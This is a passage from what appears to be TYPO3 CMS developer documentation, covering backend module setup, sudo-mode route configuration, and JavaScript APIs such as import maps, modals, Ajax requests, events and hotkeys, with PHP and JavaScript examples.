param $request

the request

Returns
\TYPO3\CMS\Backend\Template\ModuleTemplate

Example: Initialize module template

In many backend modules all actions should have the same module header. So it is useful to initialize the backend module template in a function commonly used by all actions:

EXT:my_extension/Classes/Controller/BackendModuleController.php
<?php

declare(strict_types=1);

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Backend\Template\ModuleTemplate;
use TYPO3\CMS\Backend\Template\ModuleTemplateFactory;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class BackendModuleController extends ActionController
{
    public function __construct(
        private readonly ModuleTemplateFactory $moduleTemplateFactory,
        // ..
    ) {}

    protected function initializeModuleTemplate(ServerRequestInterface $request): ModuleTemplate
    {
        $moduleTemplate = $this->moduleTemplateFactory->create($request);

        // Add common buttons and menues

        return $moduleTemplate;
    }

    public function someAction(): ResponseInterface
    {
        $moduleTemplate = $this->initializeModuleTemplate($this->request);

        $moduleTemplate->assignMultiple([
            'variable1' => 'value 1',
            'variable2' => 'value 2',
        ]);
        return $moduleTemplate->renderResponse('Backend/Some');
    }

}
Copied!

TypoScript configuration of modules

The backend module of an extension can be configured via TypoScript. The configuration is done in module.tx_<lowercaseextensionname>_<lowercasepluginname> or in module.tx_<lowercaseextensionname>. If the part _<lowercasepluginname> is omitted, then the setting is used for all backend modules of that extension.

Even in the backend the TypoScript setup is used. The settings should be done globally and not changed on a per-page basis. Therefore they are usually set in the file EXT:my_extension/ext_typoscript_setup.typoscript.

See the toplevel object "module" in the TypoScript reference for the available options.

Sudo mode in TYPO3 backend modules

When accessing modules in the Admin Tools via backend user interface, currently logged in backend users have to confirm their user password again in order to get access to the modules in this section.

As an alternative, it is also possible to use the install tool password. This is done in order to mitigate unintended modifications that might occur as result of for example possible cross-site scripting vulnerabilities in the system.

Authentication in for sudo mode in extensions using the auth service

Albeit default local authentication mechanisms are working well, there are side effects for 3rd party extensions that make use of these auth service chains as well - such as multi-factor authentication or single sign-on handling.

As an alternative, it is possible to confirm actions using the Install Tool password, instead of confirming with user's password (which might be handled with separate remote services).

Services that extend authentication with custom additional factors (2FA/MFA) are advised to intercept only valid login requests instead of all authUser invocations.

EXT:my_extension/Classes/Authentication/MyAuthenticationService.php
<?php

namespace MyVendor\MyExtension\Authentication;

use TYPO3\CMS\Core\Authentication\AbstractAuthenticationService;

class MyAuthenticationService extends AbstractAuthenticationService
{
    public function authUser(array $user)
    {
        // only handle actual login requests
        if (($this->login['status'] ?? '') !== 'login') {
            // skip this service, hand over to next in chain
            return 100;
        }
        // ...
        // usual processing for valid login requests
        // ...
        return 0;
    }
}
Copied!

Custom backend modules requiring the sudo mode

In general, the configuration for a particular route or module looks like this:

+ 'sudoMode' => [
+     'group' => 'individual-group-name',
+     'lifetime' => AccessLifetime::veryShort,
+ ],
Copied!
  • group (optional): if given, grants access to other objects of the same group without having to verify sudo mode again for a the given lifetime. Example: Admin Tool modules Maintainance and Settings are configured with the same systemMaintainer group - having access to one (after sudo mode verification) grants access to the other automatically.
  • lifetime: enum value of \TYPO3\CMS\Backend\Security\SudoMode\Access\AccessLifetime , defining the lifetime of a sudo mode verification, afterwards users have to go through the process again - cases are veryShort (5 minutes), short (10 minutes), medium (15 minutes), long (30 minutes), veryLong (60 minutes)

For backend routes declared via Configuration/Backend/Routes.php, the relevant configuration would look like this:

EXT:my_extension/Configuration/Backend/Routes.php
<?php

use MyVendor\MyExtension\Handlers\MyHandler;
use TYPO3\CMS\Backend\Security\SudoMode\Access\AccessLifetime;

return [
    'my-route' => [
        'path' => '/my/route',
        'target' => MyHandler::class . '::process',
        'sudoMode' => [
            'group' => 'mySudoModeGroup',
            'lifetime' => AccessLifetime::S,
        ],
    ],
];
Copied!

For backend modules declared via Configuration/Backend/Modules.php, the relevant configuration would look like this:

EXT:my_extension/Configuration/Backend/Modules.php
<?php

use TYPO3\CMS\Backend\Security\SudoMode\Access\AccessLifetime;

return [
    'tools_ExtensionmanagerExtensionmanager' => [
        // ...
        'routeOptions' => [
            'sudoMode' => [
                'group' => 'systemMaintainer',
                'lifetime' => AccessLifetime::M,
            ],
        ],
    ],
];
Copied!

Process in a nutshell

All simplified classnames below are located in the namespace \TYPO3\CMS\Backend\Security\SudoMode\Access). The low-level request orchestration happens in the middleware \TYPO3\CMS\Backend\Middleware\SudoModeInterceptor , markup rendering and payload processing in controller \TYPO3\CMS\Backend\Controller\Security\SudoModeController .

  1. A backend route is processed, that requires sudo mode for route URI /my/route in \TYPO3\CMS\Backend\Http\RouteDispatcher .
  2. Using AccessFactory and AccessStorage , the \RouteDispatcher tries to find a valid and not expired AccessGrant item for the specific RouteAccessSubject('/my/route') aspect in the current backend user session data.
  3. In case no AccessGrant can be determined, a new AccessClaim is created for the specific RouteAccessSubject instance and temporarily persisted in the current user session data - the claim also contains the originally requested route as ServerRequestInstruction (a simplified representation of a \ServerRequestInterface).
  4. Next, the user is redirected to the user interface for providing either their own password, or the global install tool password as alternative.
  5. Given, the password was correct, the AccessClaim is "converted" to an AccessGrant , which is only valid for the specific subject (URI /my/route) and for a limited lifetime.

JavaScript in TYPO3 backend

Some third-party JavaScript libraries are packaged with the TYPO3 source code. The TYPO3 backend itself relies on quite a lot of JavaScript to do its job. The topic of this chapter is to present how to use JavaScript properly with TYPO3, in particular in the backend. It presents the most important APIs in that regard.

Contents:

ES6 in the TYPO3 Backend

ES6 modules may be used instead of AMD modules, both in backend and frontend context.

JavaScript node-js style path resolutions are managed by import maps, which allow web pages to control the behavior of JavaScript imports.

In November 2022 import maps are supported natively by Google Chrome, a polyfill is available for Firefox and Safari and included by TYPO3 Core and applied whenever an import map is emitted.

For security reasons, import map configuration is only emitted when the modules are actually used, that means when a module has been added to the current page response via PageRenderer->loadJavaScriptModule() or JavaScriptRenderer->addJavaScriptModuleInstruction(). Exposing all module configurations is possible via JavaScriptRenderer->includeAllImports(), but that should only be done in backend context for logged-in users to avoid disclosing installed extensions to anonymous visitors.

Configuration

A simple configuration example for an extension that maps the Public/JavaScript folder to an import prefix @vendor/my-extensions:

EXT:my_extension/Configuration/JavaScriptModules.php
<?php

return [
    // required import configurations of other extensions,
    // in case a module imports from another package
    'dependencies' => ['backend'],
    'imports' => [
        // recursive definiton, all *.js files in this folder are import-mapped
        // trailing slash is required per importmap-specification
        '@vendor/my-extension/' => 'EXT:my_extension/Resources/Public/JavaScript/',
    ],
];
Copied!

Complex configuration example containing recursive-lookup exclusions, third-party library definitions and overwrites:

EXT:my_extension/Configuration/JavaScriptModules.php
<?php

return [
    'dependencies' => ['core', 'backend'],
    'imports' => [
        '@vendor/my-extension/' => [
            'path' => 'EXT:my_extension/Resources/Public/JavaScript/',
            // Exclude files of the following folders from being import-mapped
            'exclude' => [
                'EXT:my_extension/Resources/Public/JavaScript/Contrib/',
                'EXT:my_extension/Resources/Public/JavaScript/Overrides/',
            ],
        ],
        // Adding a third party package
        'thirdpartypkg' => 'EXT:my_extension/Resources/Public/JavaScript/Contrib/thidpartypkg/index.js',
        'thidpartypkg/' => 'EXT:my_extension/Resources/Public/JavaScript/Contrib/thirdpartypkg/',
        // Overriding a file from another package
        '@typo3/backend/modal.js' => 'EXT:my_extension/Resources/Public/JavaScript/Overrides/BackendModal.js',
    ],
];
Copied!

Loading ES6

A module can be added to the current page response either via PageRenderer or as JavaScriptModuleInstruction via JavaScriptRenderer:

EXT:my_extension/Classes/SomeNamespace/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\SomeNamespace;

use TYPO3\CMS\Core\Page\JavaScriptModuleInstruction;
use TYPO3\CMS\Core\Page\PageRenderer;

final class SomeClass
{
    public function __construct(
        // Inject the page renderer dependency
        private readonly PageRenderer $pageRenderer,
    ) {}

    public function someFunction()
    {
        // Load JavaScript via PageRenderer
        $this->pageRenderer->loadJavaScriptModule('@vendor/my-extension/example.js');

        // Load JavaScript via JavaScriptRenderer
        $this->pageRenderer->getJavaScriptRenderer()->addJavaScriptModuleInstruction(
            JavaScriptModuleInstruction::create('@vendor/my-extension/example.js'),
        );
    }
}
Copied!

In a Fluid template the includeJavaScriptModules property of the <f:be.pageRenderer> ViewHelper may be used:

EXT:my_extension/Resources/Private/Backend/Templates/SomeTemplate.html

<f:be.pageRenderer
    includeJavaScriptModules="{
         0: '@myvendor/my-extension/example.js'
      }"
/>
Copied!

Some tips on ES6

No ES6 JavaScript files are created directly in the TYPO3 Core. JavaScript is created as TypeScript module which is then converted to ES6 JavaScript during the build process. However, TypeScript and ES6 are quite similar, you can therefore look into those files for reference. The TypeScript files can be found on GitHub at Build/Sources/TypeScript.

For examples of an ES6 JavaScript file have a look at the JavaScript example in the LinkHandler Tutorial or the example in the Notification API.

For a practical example on how to introduce ES6 modules into a large extension see this commit for EXT:news: [TASK] Add support for TYPO3 v12 ES6 modules.

Using JQuery

In the TYPO3 Core usage of jQuery is eliminated step-by-step as the necessary functionality is provided by native JavaScript nowadays.

If you still have to use jQuery in your third-party extension, include it with the following statement:

import $ from 'jquery';
Copied!

Add JavaScript modules to import map in backend form

The JavaScript module import map is static and only generated and loaded in the first request to a document. All possible future modules requested in later Ajax calls need to be registered already in the first initial request.

The tag backend.form is used to identify JavaScript modules that can be used within backend forms. This ensures that the import maps are available for these modules even if the element is not displayed directly.

A typical use case for this is an InlineRelationRecord where the CKEditor is not part of the main record but needs to be loaded for the child record.

EXT:my_extension/Configuration/JavaScriptModules.php
<?php

return [
    'dependencies' => [
        'backend',
    ],
    'tags' => [
        'backend.form',
    ],
    'imports' => [
        '@typo3/rte-ckeditor/' => 'EXT:rte_ckeditor/Resources/Public/JavaScript/',
        '@typo3/ckeditor5-bundle.js' => 'EXT:rte_ckeditor/Resources/Public/Contrib/ckeditor5-bundle.js',
    ],
];
Copied!

Client-side templating

To avoid custom jQuery template building a slim client-side templating engine lit-html together with lit-element is used in the TYPO3 Core.

This templating engine supports conditions, iterations, events, virtual DOM, data-binding and mutation/change detections in templates.

Individual client-side templates can be processed in JavaScript directly using modern web technologies like template-strings and template-elements.

Rendering is handled by the AMD-modules lit-html and lit-element. Please consult the lit-html template-reference and the lit-element-guide for more information.

Examples

Variable assignment

import {html, render} from 'lit-html';

const value = 'World';
const target = document.getElementById('target');
render(html`<div>Hello ${value}!</div>`, target);
Copied!
<div>Hello World!</div>
Copied!

Unsafe tags would have been encoded (e.g. <b>World</b> as &lt;b&gt;World&lt;/b&gt;).

Conditions and iteration

import {html, render} from 'lit-html';
import {classMap} from 'lit-html/directives/class-map.js';

const items = ['a', 'b', 'c']
const classes = { list: true };
const target = document.getElementById('target');
const template = html`
   <ul class=${classMap(classes)}">
   ${items.map((item: string, index: number): string => {
      return html`<li>#${index+1}: ${item}</li>`
   })}
   </ul>
`;
render(template, target);
Copied!
<ul class="list">
   <li>#1: a</li>
   <li>#2: b</li>
   <li>#3: c</li>
</ul>
Copied!

The ${...} literal used in template tags can basically contain any JavaScript instruction - as long as their result can be casted to string again or is of type lit-html.TemplateResult. This allows to make use of custom conditions as well as iterations:

  • condition: ${condition ? thenReturn : elseReturn}
  • iteration: ${array.map((item) => { return item; })}

Events

Events can be bound using the @ attribute prefix.

import {html, render} from 'lit-html';

const value = 'World';
const target = document.getElementById('target');
const template = html`
   <div @click="${(evt: Event): void => { console.log(value); }}">
      Hello ${value}!
   </div>
`;
render(template, target);
Copied!

The result won't look much different than the first example - however the custom attribute @click will be transformed into an according event listener bound to the element where it has been declared.

Custom HTML elements

A web component based on the W3C custom elements ("web-components_") specification can be implemented using lit-element.

import {LitElement, html, customElement, property} from 'lit-element';

@customElement('my-element')
class MyElement extends LitElement {

 // Declare observed properties
 @property()
 value: string = 'awesome';

 // Avoid Shadow DOM so global styles apply to the element contents
 createRenderRoot(): Element|ShadowRoot {
   return this;
 }

 // Define the element's template
 render() {
   return html`<p>Hello ${this.value}!</p>`;
 }
}
Copied!
<my-element value="World"></my-element>
Copied!

This is rendered as:

<my-element value="World">
   <p>Hello world!</p>
</my-element>
Copied!

Modals

Actions that require a user's attention must be visualized by modal windows.

TYPO3 provides an API as basis to create modal windows with severity representation. For better UX, if actions (buttons) are attached to the modal, one button must be a positive action. This button should get a btnClass to highlight it.

Modals should be used rarely and only for confirmations. For information that does not require a confirmation the Notification API (flash message) should be used.

For complex content, like forms or a lot of information, use normal pages.

API

The API provides only two public methods:

  1. TYPO3.Modal.confirm(title, content, severity, buttons)
  2. TYPO3.Modal.dismiss()

Button settings

Name Type
string
function
bool
string

text

text
Type
string
Required
true

The text rendered into the button.

trigger / action

trigger / action
Type
function
Required
true

Callback that is triggered on button click - either a simple function or DeferredAction / ImmediateAction

active

active
Type
bool

Marks the button as active. If true, the button gets the focus.

btnClass

btnClass
Type
string

The CSS class for the button.

Data Attributes

It is also possible to use data attributes to trigger a modal, for example on an anchor element, which prevents the default behavior.

data-title
The title text for the modal.
data-bs-content
The content text for the modal.
data-severity
The severity for the modal, default is info (see TYPO3.Severity.*).
data-href
The target URL, default is the href attribute of the element.
data-button-close-text
Button text for the close/cancel button.
data-button-ok-text
Button text for the ok button.
class="t3js-modal-trigger"
Marks the element as modal trigger.
data-static-backdrop
Render a static backdrop to avoid closing the modal when clicking it.

Example:

<a
    href="delete.php"
    class="t3js-modal-trigger"
    data-title="Delete"
    data-bs-content="Really delete?"
>
    delete
</a>
Copied!

Examples

A basic modal (without anything special) can be created this way:

TYPO3.Modal.confirm('The title of the modal', 'This the the body of the modal');
Copied!

A modal as warning with button:

TYPO3.Modal.confirm('Warning', 'You may break the internet!', TYPO3.Severity.warning, [
  {
    text: 'Break it',
    active: true,
    trigger: function() {
      // break the net
    }
  }, {
    text: 'Abort!',
    trigger: function() {
      TYPO3.Modal.dismiss();
    }
  }
]);
Copied!

A modal as warning:

TYPO3.Modal.confirm('Warning', 'You may break the internet!', TYPO3.Severity.warning);
Copied!

Action buttons in modals created by the TYPO3/CMS/Backend/Modal module may make use of TYPO3/CMS/Backend/ActionButton/ImmediateAction and TYPO3/CMS/Backend/ActionButton/DeferredAction.

As an alternative to the existing trigger option, the option action may be used with an instance of the previously mentioned modules.

Modal.confirm('Header', 'Some content', Severity.error, [
  {
    text: 'Based on trigger()',
    trigger: function () {
      console.log('Vintage!');
    }
  },
  {
    text: 'Based on action',
    action: new DeferredAction(() => {
      return new AjaxRequest('/any/endpoint').post({});
    })
  }
]);
Copied!

Activating any action disables all buttons in the modal. Once the action is done, the modal disappears automatically.

Buttons of the type DeferredAction render a spinner on activation into the button.

A modal with static backdrop:

import Modal from '@typo3/backend/modal.js';

Modal.advanced({
  title: 'Hello',
  content: 'This modal is not closable via clicking the backdrop.',
  size: Modal.sizes.small,
  staticBackdrop: true
});
Copied!

Templates, using the HTML class .t3js-modal-trigger to initialize a modal dialog are also able to use the new option by adding the data-static-backdrop attribute to the corresponding element.

<button class="btn btn-default t3js-modal-trigger"
        data-title="Hello"
        data-bs-content="This modal is not closable via clicking the backdrop."
        data-static-backdrop>
    Open modal
</button>
Copied!

Multi-step wizard

The JavaScript module MultiStepWizard can be used to show a modal multi-step wizard with the following features:

  • Navigation to previous / next steps
  • Steps may have descriptive labels like "Start" or "Finish!"
  • Steps may require actions before becoming available.

Add Slide

You have to define at least one slide MultiStepWizard.addSlide().

Name Type
string
string
string|JQuery|Element|DocumentFragment
SeverityEnum
string
SlideCallback

identifier

identifier
Type
string
Required
true

A unique identifier for the slide

title

title
Type
string
Required
true

The title of the slide. Will be shown as header of the slide.

content

content
Type
string|JQuery|Element|DocumentFragment
Required
true

The content of the slide. If string any HTML will be escaped. To prevent that, chose one of the other allowed types:

JQuery:

$(`<div>Your HTML content</div>`);
Copied!

Element:

Object.assign(document.createElement('div'), {
  innerHTML: 'Your HTML content'
});
Copied!

DocumentFragment:

document.createRange().createContextualFragment("<div>Your HTML content</div>");
Copied!

severity

severity
Type
SeverityEnum
Required
true

Set severity color for sheet. Color will only affect title bar and prev- and next-buttons.

progressBarTitle

progressBarTitle
Type
string
Required
true

Set a title for the progress bar. The progress bar will only be shown below the content section of the slide, if you have defined at least two or more slides.

callback

callback
Type
SlideCallback
Required
true

A JavaScript callback function which will be called after the slide was rendered completely.

Show / Hide Wizard

After defining some slides you can show MultiStepWizard.show() and hide MultiStepWizard.dismiss() the multi-step wizard.

Lock/Unlock steps

Switching to the next or previous slides is called a step. The buttons to navigate to the slides are deactivated by default. Please use following methods to lock or unlock them:

MultiStepWizard.lockNextStep();
MultiStepWizard.unlockNextStep();
MultiStepWizard.lockPrevStep();
MultiStepWizard.unlockPrevStep();
Copied!

"Hello world" Example

This JavaScript snippet will create a new multi-step wizard with just one sheet. As it used SeverityEnum.warning the title and buttons will be colored in yellow.

EXT:my_extension/Resources/Public/JavaScript/HelloWorldModule.js
import {SeverityEnum} from "@typo3/backend/enum/severity.js"
import MultiStepWizard from "@typo3/backend/multi-step-wizard.js"
import $ from "jquery";

export default class HelloWorldModule {
  constructor(triggerHelloWorldWizardButtonClass) {
    const buttons = document.querySelectorAll("." + triggerHelloWorldWizardButtonClass);

    buttons.forEach((button) => {
      button.addEventListener("click", () => {
        MultiStepWizard.addSlide(
          "UniqueHelloWorldIdentifier",
          "Title of the Hello World example slide",
          document.createRange().createContextualFragment("<div>Hello world</div>"),
          SeverityEnum.warning,
          "Step Hello World",
          function ($slide) {
            let $modal = $slide.closest(".modal");
            let $nextButton = $modal.find(".modal-footer").find("button[name='next']");
            MultiStepWizard.unlockNextStep();

            $nextButton.off().on("click", function () {
              // Process whatever you want from current slide, just before wizard will be closed or next slide

              // Close wizard
              MultiStepWizard.dismiss();

              // Go to next slide, if any
              // MultiStepWizard.setup.$carousel.carousel("next");
            });
          }
        );

        MultiStepWizard.show();
      });
    });
  }
}
Copied!

To call the JavaScript from above you have to use the JavaScriptModuleInstruction) technique. In following snippet you see how to add a JavaScript module to field within Form Engine:

$resultArray['javaScriptModules'][] = JavaScriptModuleInstruction::create(
    '@stefanfroemken/dropbox/AccessTokenModule.js'
)->instance($fieldId);
Copied!

DocumentService (jQuery.ready substitute)

The module TYPO3/CMS/Core/DocumentService provides native JavaScript functions to detect DOM ready-state returning a Promise<Document>.

Internally the Promise is resolved when native DOMContentLoaded event has been emitted or when document.readyState is defined already. It means the initial HTML document has been completely loaded and parsed, without waiting for stylesheets, images, and sub-frames to finish loading.

$(document).ready(() => {
  // your application code
});
Copied!

Above jQuery code can be transformed into the following using DocumentService:

import DocumentService from '@typo3/core/document-service.js';

DocumentService.ready().then(() => {
  // your application code
});
Copied!

SessionStorage wrapper

TYPO3 ships a module acting as a wrapper for sessionStorage. It behaves similar to the localStorage, except that the stored data is dropped after the browser session has ended.

The module TYPO3/CMS/Core/Storage/BrowserSession allows to store data in the sessionStorage.

Example

import Client from '@typo3/backend/storage/client.js';

Client.set('common-prefix-a', 'a');
Client.set('common-prefix-b', 'b');
Client.set('common-prefix-c', 'c');

const entries = Client.getByPrefix('common-prefix-');
// {'common-prefix-a': 'a', 'common-prefix-b': 'b', 'common-prefix-c': 'c'}
Copied!

API methods

The module is called @typo3/backend/storage/abstract-client-storage, implemented by:

  • @typo3/backend/storage/browser-session
  • @typo3/backend/storage/client
get(key)
Fetches the data behind the key.
getByPrefix('common-prefix-')
Obtains multiple items prefixed by a given key.
set(key, value)
Sets/overrides a key with any arbitrary content.
isset(key) (bool)
Checks if the key is in use.
unset(key)
Removes a key from the storage.
clear()
Empties all data inside the storage.
unsetByPrefix(prefix)
Empties all data inside the storage with their keys starting with a prefix.

Ajax request

TYPO3 Core ships an API to send Ajax requests to the server. This API is based on the fetch API, which is implemented in every modern browser (for example, Chrome, Edge, Firefox, Safari).

Prepare a request

New in version 13.0

Native URL-related objects ( URL and URLSearchParams) can be used.

To be able to send a request, the module @typo3/core/ajax/ajax-request.js must be imported. To prepare a request, create a new instance of AjaxRequest per request and pass the URL as the constructor argument:

EXT:my_extension/Resources/Private/JavaScript/MyRequest.js
import AjaxRequest from "@typo3/core/ajax/ajax-request.js";

let url = 'https://example.org/my-endpoint';
// or:
let url = new URL('https://example.org/my-endpoint');

let request = new AjaxRequest(url);
Copied!

The API offers a method withQueryArguments() which allows to attach a query string to the URL. This comes in handy, if the query string is programmatically generated. The method returns a clone of the AjaxRequest object. It is possible to pass either strings, arrays or objects as an argument.

Example:

EXT:my_extension/Resources/Private/JavaScript/MyRequest.js
import AjaxRequest from "@typo3/core/ajax/ajax-request.js";

let request = new AjaxRequest('https://example.org/my-endpoint');

let queryArguments = {
  foo: 'bar',
  bar: {
    baz: ['foo', 'bencer']
  }
};
// or:
let queryArguments = new URLSearchParams({
  foo: 'bar',
  baz: {
    baz: ['foo', 'bencer']
  }
});

request = request.withQueryArguments(queryArguments);

// The query string compiles to ?foo=bar&bar[baz][0]=foo&bar[baz][1]=bencer
Copied!

The method detects whether the URL already contains a query string and appends the new query string in a proper format.

Send a request

The API offers some methods to actually send the request:

  • get()
  • post()
  • put()
  • delete()

Each of these methods set the corresponding request method (GET, POST, PUT, DELETE). post(), put() and delete() accept the following arguments:

data
Required

true

type

string | object

The payload to be sent as body in the request.

init
Required

false

type

object

Default

{}

Additional request configuration to be set.

The method get() accepts the init argument only.

Example:

let promise = request.get();
Copied!

The body of the request is automatically converted to a FormData object, if the submitted payload is an object. To send a JSON-encoded object instead, set the Content-Type header to application/json. If the payload is a string, no conversion will happen, but it is still recommended to set proper headers.

Example:

EXT:my_extension/Resources/Private/JavaScript/MyRequest.js
import AjaxRequest from "@typo3/core/ajax/ajax-request.js";

let request = new AjaxRequest('https://example.org/my-endpoint');

const json = {foo: 'bar'};
let promise = request.post(json, {
  headers: {
    'Content-Type': 'application/json; charset=utf-8'
  }
});
Copied!

Handle the response

In the examples above promise is, as the name already spoils, a Promise object. To fetch the actual response, we make use of then():

EXT:my_extension/Resources/Private/JavaScript/MyRequest.js
import AjaxRequest from "@typo3/core/ajax/ajax-request.js";

let request = new AjaxRequest('https://example.org/my-endpoint');

const json = {foo: 'bar'};
let promise = request.post(json, {
  headers: {
    'Content-Type': 'application/json; charset=utf-8'
  }
});

promise.then(async function (response) {
  const responseText = await response.resolve();
  console.log(responseText);
});
Copied!

response is an object of type AjaxResponse shipped by TYPO3 ( @typo3/core/ajax/ajax-response.js). The object is a simple wrapper for the original Response object. AjaxResponse exposes the following methods which eases the handling of responses:

resolve()
Returns the correct response based on the received Content-Type header, either plaintext or a JSON object.
raw()
Returns the original Response object.

Of course, a request may fail for various reasons. In such case, a second function may be passed to then(), which handles the exceptional case. The function may receive a AjaxResponse object which contains the original response object.

EXT:my_extension/Resources/Private/JavaScript/MyRequest.js
import AjaxRequest from "@typo3/core/ajax/ajax-request.js";

let request = new AjaxRequest('https://example.org/my-endpoint');

const json = {foo: 'bar'};
let promise = request.post(json, {
  headers: {
    'Content-Type': 'application/json; charset=utf-8'
  }
});

promise.then(async function (response) {
}, function (error) {
  console.error(`The request failed with ${error.response.status}: ${error.response.statusText}`);
});
Copied!

Abort a request

In some cases it might be necessary to abort a running request. The Ajax API has you covered them, an instance of AbortController is attached to each request. To abort the request, just call the abort() method:

request.abort();
Copied!

Event API

The TYPO3 JavaScript Event API enables JavaScript developers to have a stable event listening interface. The API takes care of common pitfalls like event delegation and clean event unbinding.

Event Binding

Each event strategy (see below) has two ways to bind a listener to an event:

Direct Binding

The event listener is bound to the element that triggers the event. This is done by using the method bindTo(), which accepts any element, document and window.

Example:

EXT:my_extension/Resources/Public/JavaScript/MyScript.js
import RegularEvent from '@typo3/core/event/regular-event.js';

new RegularEvent('click', function (e) {
  // Do something
}).bindTo(document.querySelector('#my-element'));
Copied!

Event Delegation

The event listener is called if the event was triggered to any matching element inside its bound element.

Example:

EXT:my_extension/Resources/Public/JavaScript/MyScript.js
import RegularEvent from '@typo3/core/event/regular-event.js';

new RegularEvent('click', function (e) {
  // Do something
}).delegateTo(document, 'a[data-action="toggle"]');
Copied!

The event listener is now called every time the element matching the selector a[data-action="toggle"] within document is clicked.

Release an event

Since each event is an object instance, it is sufficient to call release() to detach the event listener.

Example:

EXT:my_extension/Resources/Public/JavaScript/MyScript.js
import RegularEvent from '@typo3/core/event/regular-event.js';

const clickEvent = new RegularEvent('click', function (e) {
  // Do something
}).delegateTo(document, 'a[data-action="toggle"]');

// Do more stuff

clickEvent.release();
Copied!

Event strategies

The Event API brings several strategies to handle event listeners:

RegularEvent

The RegularEvent attaches a simple event listener to an event and element and has no further tweaks. This is the common use case for event handling.

Arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the event listener

Example:

EXT:my_extension/Resources/Public/JavaScript/MyScript.js
import RegularEvent from '@typo3/core/event/regular-event.js';

new RegularEvent('click', function (e) {
  e.preventDefault();
  window.location.reload();
}).bindTo(document.querySelector('#my-element'));
Copied!

DebounceEvent

The DebounceEvent is most suitable if an event is triggered quite often but executing the event listener is called only after a certain wait time.

Arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the event listener
  • wait (number) - the amount of milliseconds to wait before the event listener is called

Changed in version 13.0

The parameter immediate has been removed. There is no direct migration possible. An extension author may re-implement the removed behavior manually, or use the ThrottleEvent module, providing a similar behavior.

Example:

EXT:my_extension/Resources/Public/JavaScript/MyScript.js
import DebounceEvent from '@typo3/core/event/debounce-event.js';

new DebounceEvent('mousewheel', function (e) {
  console.log('Triggered once after 250ms!');
}, 250).bindTo(document);
Copied!

ThrottleEvent

Arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the event listener
  • limit (number) - the amount of milliseconds to wait before the event listener is called

The ThrottleEvent is similar to the DebounceEvent. The important difference is that the event listener is called after the configured wait time during the overall event time.

If an event time is about 2000ms and the wait time is configured to be 100ms, the event listener gets called up to 20 times in total (2000 / 100).

Example:

EXT:my_extension/Resources/Public/JavaScript/MyScript.js
import ThrottleEvent from '@typo3/core/event/throttle-event.js';

new ThrottleEvent('mousewheel', function (e) {
  console.log('Triggered every 100ms!');
}, 100).bindTo(document);
Copied!

RequestAnimationFrameEvent

The RequestAnimationFrameEvent binds its execution to the browser's RequestAnimationFrame API. It is suitable for event listeners that manipulate the DOM.

Arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the event listener

Example:

EXT:my_extension/Resources/Public/JavaScript/MyScript.js
import RequestAnimationFrameEvent from '@typo3/core/event/request-animation-frame-event.js';

new RequestAnimationFrameEvent('mousewheel', function (e) {
  console.log('Triggered every 16ms (= 60 FPS)!');
});
Copied!

Hotkey API

New in version 13.0

TYPO3 provides the @typo3/backend/hotkeys.js module that allows developers to register custom keyboard shortcuts in the TYPO3 backend.

It is also possible and highly recommended to register hotkeys in a dedicated scope to avoid conflicts with other hotkeys, perhaps registered by other extensions.

The module provides an enum with common modifier keys: Ctrl, Meta, Alt, and Shift), and also a public property describing the common hotkey modifier based on the user's operating system: Cmd (Meta) on macOS, Ctrl on anything else (this can be normalized via Hotkeys.normalizedCtrlModifierKey. Using any modifier is optional, but highly recommended.

A hotkey is registered with the register() method. The method takes three arguments:

hotkey
An array defining the keys that must be pressed.
handler
A callback that is executed when the hotkey is invoked.
options

An object that configures a hotkey's behavior:

scope

The scope a hotkey is registered in.

allowOnEditables
If false (default), handlers are not executed when an editable element is focussed.
allowRepeat
If false (default), handlers are not executed when the hotkey is pressed for a long time.
bindElement
If given, an aria-keyshortcuts attribute is added to the element. This is recommended for accessibility reasons.

Example

EXT:my_extension/Resources/Public/JavaScript/hotkey.js
import Hotkeys, {ModifierKeys} from '@typo3/backend/hotkeys.js';

Hotkeys.register([Hotkeys.normalizedCtrlModifierKey, ModifierKeys.SHIFT, 'e'], keyboardEvent => {
  console.log('Triggered on Ctrl/Cmd+Shift+E');
}, {
  scope: 'my-extension/module',
  bindElement: document.querySelector('.some-element')
});

// Get the currently active scope
const currentScope = Hotkeys.getScope();

// Make use of registered scope
Hotkeys.setScope('my-extension/module');
Copied!

JavaScript form helpers

Empty checkbox handling

<input
    type="checkbox"
    name="setting"
    value="1"
    data-empty-value="0"
    data-global-event="change"
    data-action-navigate="$data=~s/$value/"
>
Copied!

Checkboxes used to send a particular value when unchecked can be achieved by using data-empty-value="0". If this attribute is omitted, an empty string '' is sent.

Submitting a form on change

<input type="checkbox" data-global-event="change" data-action-submit="$form">
<!-- ... or (using CSS selector) ... -->
<input type="checkbox" data-global-event="change" data-action-submit="#formIdentifier">
Copied!

Submits a form once a value has been changed. ($form refers to the parent form element, using CSS selectors like #formIdentifier is possible as well)

Ajax in the backend

An Ajax endpoint in the TYPO3 backend is usually implemented as a method in a regular controller. The method receives a request object implementing the \Psr\Http\Message\ServerRequestInterface , which allows to access all aspects of the requests and returns an appropriate response in a normalized way. This approach is standardized as PSR-7.

Create a controller

By convention, a controller is placed within the extension's Controller/ directory, optionally in a subdirectory. To have such controller, create a new ExampleController in Classes/Controller/ExampleController.php inside your extension.

The controller needs not that much logic right now. We create a method called doSomethingAction() which will be our Ajax endpoint.

EXT:my_extension/Classes/Controller/ExampleController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;

final class ExampleController
{
    public function doSomethingAction(ServerRequestInterface $request): ResponseInterface
    {
        // TODO: return ResponseInterface
    }
}
Copied!

In its current state, the method does nothing yet. We can add a very generic handling that exponentiates an incoming number by 2. The incoming value will be passed as a query string argument named input.

EXT:my_extension/Classes/Controller/ExampleController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;

final class ExampleController
{
    public function doSomethingAction(ServerRequestInterface $request): ResponseInterface
    {
        $input = $request->getQueryParams()['input']
            ?? throw new \InvalidArgumentException(
                'Please provide a number',
                1580585107,
            );

        $result = $input ** 2;

